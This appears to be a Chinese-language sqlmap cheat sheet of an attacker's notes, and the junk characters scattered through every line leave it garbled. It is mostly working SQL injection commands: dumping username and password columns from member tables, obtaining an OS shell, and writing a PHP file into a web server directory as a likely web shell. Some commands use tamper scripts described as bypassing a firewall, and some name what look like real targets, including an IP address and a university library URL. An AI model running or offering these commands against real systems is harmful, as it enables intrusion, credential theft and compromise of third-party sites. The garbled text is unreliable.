/pentest/database/sqlmap6 e' x) L' n7 H7 z, q9 U
$ M& q, k) o5 Yupdate :::::> in the folder after execute following order : svn update/ r& X/ M8 A3 C/ t. |# j# R, p
' [8 Q+ N* M+ O+ [# P' w1 Z9 c+ w. _+ Q
sqlmap.py -r 1.txt --current-db: w! n% Y4 w0 m/ w4 L9 b' v
; w0 S" F, }0 Jv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py” l- r0 | ]$ T* y9 R( r
# g! l+ t$ }7 H; L
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
0 @% q3 N+ K6 V. x4 O猜解数据库
, |) C0 ?: M$ F./sqlmap.py -u "injection-url" --dbs
, C6 A& ^# `& G. Y/ }7 V, P( u) k8 Zsqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"/ V' X- l% i# V
* e1 M# f5 i1 ~. [0 @7 C; E
猜解表名3 `: i" j( x) r/ m. Z/ j* @
./sqlmap.py -u "injection-url" -D database_name --tables
$ j* y2 E U7 _: c% I. [9 X0 t! b! r/ K) }
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
( k" _1 s/ P/ j" U- Ksqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
6 g! a/ s+ L/ x! ]- q3 W6 c; E7 ~
( N6 h$ w6 L# h: N( G& G" Lsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump1 P& L7 V1 L, P) y+ v1 \. e) W
* D# T9 E" V) P- p' @$ v5 B
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"- g0 w5 I2 Q# ], G9 Z
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py" q- t5 n" O5 r8 x/ v
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
7 `/ _; U# Z! Z9 h' f- Asqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"5 u. M# _1 q, D" @
* [% V8 y' Z& a- ]sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
$ e: W5 v3 u) B, zsqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"& B! E0 A# g0 W
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"* e% Q0 N# o* R
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"+ Q6 x ]( M. g
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
/ ^' Z, P; W9 S+ Q1 v& ~. |8 @
?% l9 j( ]+ v6 n/ Wsqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了5 p2 Z% X3 n) K: n S/ n X* |
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
) i; t2 d w5 {8 G3 ?; v8 Q: D+ }+ q) j' B0 D8 W
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"2 V1 b: x5 r' F
猜解列名
" K4 i0 d' f* a- \' Q! W) E./sqlmap.py -u "injection-url" -D database_name -T table_name --columns8 u6 ?" f8 j2 y
0 @3 \/ S2 \- {. t
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
$ g; f% g! P# d' U, i# [1 gsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" ' n8 W7 p7 ?6 H- u+ A% {: Q$ {
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py": ]( s# e0 w/ H5 U
* e8 i& D; h8 t; J' U( c Lsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"5 R0 k) }& V# J% a0 V0 j' U0 r; M I: g
&submit=Go
: B7 A2 Q3 U/ ~3 _; s! }0 F- [猜解值
* j5 t; p( |4 {' m+ U./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
u. c! P: i. c6 h========================================================1 K4 o4 O" e- `# C
搜索表名中包括mana字符的7 ~& u+ \8 @3 I/ i% w W
/sqlmap.py -u "injection-url" -T mana --search$ O! ~7 i; t0 z2 M5 r
返回一个交互式sql shell" z" N0 J& P: h. G+ D
/sqlmap.py -u "injection-url" --sql-shell
. s: T" l# c; N; r' }2 d1 Q! M$ y. L* _读取指定文件(需权限)
! J, @$ }9 J3 }# {/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
$ Q9 p+ V/ v; \, @4 Y查看当前 用户 及 数据库
( W9 D5 |: e6 d3 e2 i C# p7 R% h2 P/sqlmap.py -u "injection-url" --current-user --current-db
, |; ^0 L U: [本地文件 写入 远程目标绝对路径
1 ~+ c" ^/ s% |% Y! J* i) C/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径7 ~+ q2 v, V2 S% o6 C
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" 8 e7 ^3 n* F) t: o! j
" V( s9 v/ X. e6 B: @sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
3 S& @+ j+ s& n9 K' @! S( x7 W查看某用的权限
' Q3 R5 C( V( `* }, o* `, F/sqlmap.py -u "injection-url" --privileges -U root
, V/ p4 r8 ~& p+ u: s查看当前用户是否为dba7 ]: H& r5 d4 _! O
/sqlmap.py -u "injection-url" --is-dba
3 r8 z) p* Q) D U5 @读取所有数据库用户或指定数据库用户的密码
% p9 n+ s7 y2 `5 Ssqlmap.py -r 1.txt --users --passwords
/ \# a5 G) Z( C9 Y8 ^! b. osqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" 6 ?( C) j- l0 |" M3 c/ [2 p
' s! I; w7 _# U' n1 a3 f
/sqlmap.py -u "injection-url" --passwords -U root
" j$ [& `8 o6 P# r" X8 o% N# @1 Q3 W$ O
--start&&--stop 与 --first&&--last 的区别9 C9 y& ~8 @+ F" R
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)5 z4 O+ F: B- X- V
c, m5 Q1 z6 [$ q
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
, j- O J) ~% j# ~5 ]+ |$ T U/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
; b1 Z1 l+ p, w/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns$ f9 i( R& _- A6 J6 Y, ~1 Z
9 E8 u o7 N6 M7 x1 r, j. ?执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)7 l* H# m+ ?8 B! W; X2 I1 l" J. z
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
( ]7 \- i9 c& o2 b
2 S7 t) |% n+ D1 ?- u8 P0 V1 b" r |